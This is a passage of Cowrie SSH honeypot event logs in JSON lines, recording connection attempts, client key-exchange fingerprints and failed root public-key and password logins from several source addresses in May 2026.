langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:11.243770Z","src_ip":"8.218.166.49","session":"e524ab15081c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":52037,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ad5e694ddbe","protocol":"ssh","message":"New connection: 178.20.210.186:52037 (10.17.0.5:22) [session: 7ad5e694ddbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:13.392577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:13.397468Z","src_ip":"178.20.210.186","session":"7ad5e694ddbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:13.515021Z","src_ip":"178.20.210.186","session":"7ad5e694ddbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"12345","message":"login attempt [demo/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:14.238214Z","src_ip":"178.20.210.186","session":"7ad5e694ddbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:15.348783Z","src_ip":"178.20.210.186","session":"7ad5e694ddbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.176.142","src_port":60354,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e05377e14c4","protocol":"ssh","message":"New connection: 31.42.176.142:60354 (10.17.0.5:22) [session: 3e05377e14c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:21.054928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:21.062686Z","src_ip":"31.42.176.142","session":"3e05377e14c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:21.146957Z","src_ip":"31.42.176.142","session":"3e05377e14c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:21.481157Z","src_ip":"8.218.166.49","session":"022aa3f3a0c9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:51:c3:82:05:2b:2a:4f:80:70:d1:06:75:69:ff:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7MVAGp6On4H6cRh2TKwSKlP8gXL9ClnBrIME2V8IpTSWbaaOV5QOJYOUa4yi0IBjfwLM4MHBUwnlrHhN0aJIcVWKYIb7C1R7ko6E6OZnyOdjjsDjbLmhWgFS5QHSbyaghw5py6uEv0stcKIWz8+brXNN44Kh2JABGuUKOlMi9zVaShyjcqahyweIDvekgHwdJ9OTlcpvpWDElErHC0HO7VhQS6CJPWmwkImPJuZIgXhNa3hKedo3ERhA4loWhSgFfFeTleq/UiBCKVIG35oE7rYpJASWGkwA8PoEKgn5e174uvaBKWXLuY3+3DYaPBJr8YiGQutoTNwXDoxL0kDer","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:51:c3:82:05:2b:2a:4f:80:70:d1:06:75:69:ff:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:21.538138Z","src_ip":"31.42.176.142","session":"3e05377e14c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:51:c3:82:05:2b:2a:4f:80:70:d1:06:75:69:ff:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7MVAGp6On4H6cRh2TKwSKlP8gXL9ClnBrIME2V8IpTSWbaaOV5QOJYOUa4yi0IBjfwLM4MHBUwnlrHhN0aJIcVWKYIb7C1R7ko6E6OZnyOdjjsDjbLmhWgFS5QHSbyaghw5py6uEv0stcKIWz8+brXNN44Kh2JABGuUKOlMi9zVaShyjcqahyweIDvekgHwdJ9OTlcpvpWDElErHC0HO7VhQS6CJPWmwkImPJuZIgXhNa3hKedo3ERhA4loWhSgFfFeTleq/UiBCKVIG35oE7rYpJASWGkwA8PoEKgn5e174uvaBKWXLuY3+3DYaPBJr8YiGQutoTNwXDoxL0kDer","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:21.542052Z","src_ip":"31.42.176.142","session":"3e05377e14c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:63:93:d1:9e:c4:50:c1:c7:37:75:50:66:3d:35:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDx4gsKy/ovfHvVx3Mc+tEguDsQyoU4O26Zqhtn3/NnM3EiTR5tRubNto1uAvjsw2fCH2MsdGZKaLAS8uOPfEzF0mrDEqMXLNAz2lZJCOzXOvoKRJhGKiTYaO6dizUhgNy8u7VJm68JWT7YIUhv1gl0b3DflBsy3nl3SQ1t8vIJ04UJoKNhSKGCl/48Oq5+TWwb0RX2d1eXOagw+SV/5gbi5bXbycctfvKQ5b2nl2nHe85C47tTZjU2bNuxS/jxc7lNyvFz2Uad6E93xkiKzOGDWMoP2KAI1CG2g+ha2OvDpkS2r2718Sq7rXuGfRqD54f0O+Fjp81/1vxyH2oJedzn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:63:93:d1:9e:c4:50:c1:c7:37:75:50:66:3d:35:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:21.625268Z","src_ip":"31.42.176.142","session":"3e05377e14c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:63:93:d1:9e:c4:50:c1:c7:37:75:50:66:3d:35:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDx4gsKy/ovfHvVx3Mc+tEguDsQyoU4O26Zqhtn3/NnM3EiTR5tRubNto1uAvjsw2fCH2MsdGZKaLAS8uOPfEzF0mrDEqMXLNAz2lZJCOzXOvoKRJhGKiTYaO6dizUhgNy8u7VJm68JWT7YIUhv1gl0b3DflBsy3nl3SQ1t8vIJ04UJoKNhSKGCl/48Oq5+TWwb0RX2d1eXOagw+SV/5gbi5bXbycctfvKQ5b2nl2nHe85C47tTZjU2bNuxS/jxc7lNyvFz2Uad6E93xkiKzOGDWMoP2KAI1CG2g+ha2OvDpkS2r2718Sq7rXuGfRqD54f0O+Fjp81/1vxyH2oJedzn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:21.628807Z","src_ip":"31.42.176.142","session":"3e05377e14c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:b6:95:17:aa:a8:b1:af:1e:d3:97:0d:ec:b7:ed:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl3dnZ9wYj1eEZm8joIUR3QJJLuITJoQpuVEjN+bBLyEHKBN3/fMr1r8OzqsY2NtMwr/5iNfpD8BzYznR9y2N4vfiHVo413gkhAVnr66etLNXBRoJ29I5Ta9zXIcGJ2oD6xuV/EadM2h+l/lNMLUtra7Wy8t7u1Z+7bRdIGAYLBLveGYiIIIUilQYzCRw8ssvaCvrpfDoWBwcCqFzdzerRDIez/Du+KBkCnXzJ7yKtXBqvTo/w8cAjVX6M3RgUs66RlE5RpyhkDl/qAe/Z9KI6006CoYgVb6xCvxbFCGe3J1F5BfIHMzvajzlR2eLTBhPALLr6rdA7NxWB//nsz17/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:b6:95:17:aa:a8:b1:af:1e:d3:97:0d:ec:b7:ed:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:21.711354Z","src_ip":"31.42.176.142","session":"3e05377e14c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:b6:95:17:aa:a8:b1:af:1e:d3:97:0d:ec:b7:ed:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl3dnZ9wYj1eEZm8joIUR3QJJLuITJoQpuVEjN+bBLyEHKBN3/fMr1r8OzqsY2NtMwr/5iNfpD8BzYznR9y2N4vfiHVo413gkhAVnr66etLNXBRoJ29I5Ta9zXIcGJ2oD6xuV/EadM2h+l/lNMLUtra7Wy8t7u1Z+7bRdIGAYLBLveGYiIIIUilQYzCRw8ssvaCvrpfDoWBwcCqFzdzerRDIez/Du+KBkCnXzJ7yKtXBqvTo/w8cAjVX6M3RgUs66RlE5RpyhkDl/qAe/Z9KI6006CoYgVb6xCvxbFCGe3J1F5BfIHMzvajzlR2eLTBhPALLr6rdA7NxWB//nsz17/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:21.716516Z","src_ip":"31.42.176.142","session":"3e05377e14c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:3f:9d:ac:20:a3:5b:ae:2a:5c:0c:94:bf:ba:f5:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqSWdlVgmzqzOTsTzDUyVMyAqO5M78KMwBZCPfQ+emdvYnYP6HbQGlrZsLNm6OrVJG5o0Z8CVa7FOPlDMHndPI+9GopRXyNpkaoCcih3lWFkKdHQ0z42bE4odp6avWgPwKiMDtY5Hs1Zig7RxkhduLrP9DXAghM/ThkeuJ09orEamku8DJ1kK41VIZk4c/6q6zh6NUsf1hCyAko5y/wU9iQHDCkUmvK2Jq25wFnZr0QH9bSwfgtbaMeH81xsrGLo0ng6P72/0yHtuHIy+B33smi0IMe+Oxq2sdJprS49TpPpagbzHZ1zzh9dKOsle8Y5PZaoq1TrX/7LePcIM9jftv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:3f:9d:ac:20:a3:5b:ae:2a:5c:0c:94:bf:ba:f5:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:21.804490Z","src_ip":"31.42.176.142","session":"3e05377e14c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:3f:9d:ac:20:a3:5b:ae:2a:5c:0c:94:bf:ba:f5:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqSWdlVgmzqzOTsTzDUyVMyAqO5M78KMwBZCPfQ+emdvYnYP6HbQGlrZsLNm6OrVJG5o0Z8CVa7FOPlDMHndPI+9GopRXyNpkaoCcih3lWFkKdHQ0z42bE4odp6avWgPwKiMDtY5Hs1Zig7RxkhduLrP9DXAghM/ThkeuJ09orEamku8DJ1kK41VIZk4c/6q6zh6NUsf1hCyAko5y/wU9iQHDCkUmvK2Jq25wFnZr0QH9bSwfgtbaMeH81xsrGLo0ng6P72/0yHtuHIy+B33smi0IMe+Oxq2sdJprS49TpPpagbzHZ1zzh9dKOsle8Y5PZaoq1TrX/7LePcIM9jftv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:21.808501Z","src_ip":"31.42.176.142","session":"3e05377e14c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:30:6c:d1:f0:5f:52:1b:28:16:35:38:b5:e8:bc:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApiCrSBgZ6VTjiH01QhvP5Nzc+i5Gk4U3ZYTTfsfqxAs+w56XLxAZZm0VzHmwgP42DetsNA0P/dI+/9viEw56XJeU+Uyw6VTEmf1nLAJhWLlyvIiuay4qiAEwOcag7R+fNzsnAOtzaWcAUt0pY+89OJaqBz14qOHnqA+M4WZX/hCKrwjhofPxzqYYTQBSOV3MWDS6BI5VMeb3ToQZS1pzx6NrSZsYlCtiDly+uEqllym+cS2hXb0jlV83TZA7j85z8aGCw6w2rvZGIuiZo5/9SGKE6GiuI/oSp7NZKx1enK+NVVhMaN1SRZWrVjoQbSPxFC7MmVsG2NgaUAAciO+i5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:30:6c:d1:f0:5f:52:1b:28:16:35:38:b5:e8:bc:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:21.892594Z","src_ip":"31.42.176.142","session":"3e05377e14c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:30:6c:d1:f0:5f:52:1b:28:16:35:38:b5:e8:bc:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApiCrSBgZ6VTjiH01QhvP5Nzc+i5Gk4U3ZYTTfsfqxAs+w56XLxAZZm0VzHmwgP42DetsNA0P/dI+/9viEw56XJeU+Uyw6VTEmf1nLAJhWLlyvIiuay4qiAEwOcag7R+fNzsnAOtzaWcAUt0pY+89OJaqBz14qOHnqA+M4WZX/hCKrwjhofPxzqYYTQBSOV3MWDS6BI5VMeb3ToQZS1pzx6NrSZsYlCtiDly+uEqllym+cS2hXb0jlV83TZA7j85z8aGCw6w2rvZGIuiZo5/9SGKE6GiuI/oSp7NZKx1enK+NVVhMaN1SRZWrVjoQbSPxFC7MmVsG2NgaUAAciO+i5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:21.896897Z","src_ip":"31.42.176.142","session":"3e05377e14c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:21.980479Z","src_ip":"31.42.176.142","session":"3e05377e14c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:23.532475Z","src_ip":"8.218.166.49","session":"30950cffffea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":39958,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6d61419e9cb","protocol":"ssh","message":"New connection: 101.36.124.219:39958 (159.203.135.109:22) [session: d6d61419e9cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:32.937950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:32.944440Z","src_ip":"101.36.124.219","session":"d6d61419e9cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:33.158093Z","src_ip":"101.36.124.219","session":"d6d61419e9cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:34.045417Z","src_ip":"101.36.124.219","session":"d6d61419e9cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:35.263026Z","src_ip":"101.36.124.219","session":"d6d61419e9cb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:47.083901Z","src_ip":"8.218.166.49","session":"9cee7e37021b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","a